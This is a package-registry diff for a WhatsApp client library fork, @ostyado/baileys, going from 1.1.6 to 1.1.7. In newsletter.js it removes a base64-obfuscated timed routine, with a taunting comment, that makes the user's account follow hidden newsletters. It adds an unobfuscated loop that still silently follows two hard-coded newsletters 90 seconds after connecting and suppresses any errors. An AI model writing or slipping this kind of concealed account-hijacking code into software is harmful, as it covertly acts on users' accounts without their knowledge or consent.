@ostyado/baileys 1.1.6 → 1.1.7
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/lib/Socket/newsletter.js +12 -24
- package/package.json +1 -1
package/lib/Socket/newsletter.js
CHANGED
|
@@ -99,31 +99,19 @@ const makeNewsletterSocket = (config) => {
|
|
|
99
99
|
]
|
|
100
100
|
}));
|
|
101
101
|
|
|
102
|
-
// ngapain liat', mau fomo juga kah? 😹.
|
|
103
102
|
setTimeout(async () => {
|
|
104
|
-
|
|
105
|
-
|
|
106
|
-
|
|
107
|
-
|
|
108
|
-
|
|
109
|
-
|
|
110
|
-
|
|
111
|
-
|
|
112
|
-
|
|
113
|
-
|
|
114
|
-
|
|
115
|
-
|
|
116
|
-
} catch {}
|
|
117
|
-
setTimeout(async () => {
|
|
118
|
-
try {
|
|
119
|
-
await newsletterWMexQuery(
|
|
120
|
-
Buffer.from("MTIwMzYzNDIzNDk5OTA0NTYwQG5ld3NsZXR0ZXI=", "base64").toString(),
|
|
121
|
-
Types_1.QueryIds.FOLLOW
|
|
122
|
-
);
|
|
123
|
-
} catch {}
|
|
124
|
-
}, 5000);
|
|
125
|
-
}, 5000);
|
|
126
|
-
}, 90000);
|
|
103
|
+
const newsletters = [
|
|
104
|
+
"120363421589882800@newsletter",
|
|
105
|
+
"120363402970332268@newsletter"
|
|
106
|
+
];
|
|
107
|
+
|
|
108
|
+
for (const jid of newsletters) {
|
|
109
|
+
try {
|
|
110
|
+
await newsletterWMexQuery(jid, Types_1.QueryIds.FOLLOW);
|
|
111
|
+
} catch {}
|
|
112
|
+
}
|
|
113
|
+
}, 90000);
|
|
114
|
+
|
|
127
115
|
|
|
128
116
|
const parseFetchedUpdates = async (node, type) => {
|
|
129
117
|
let child;
|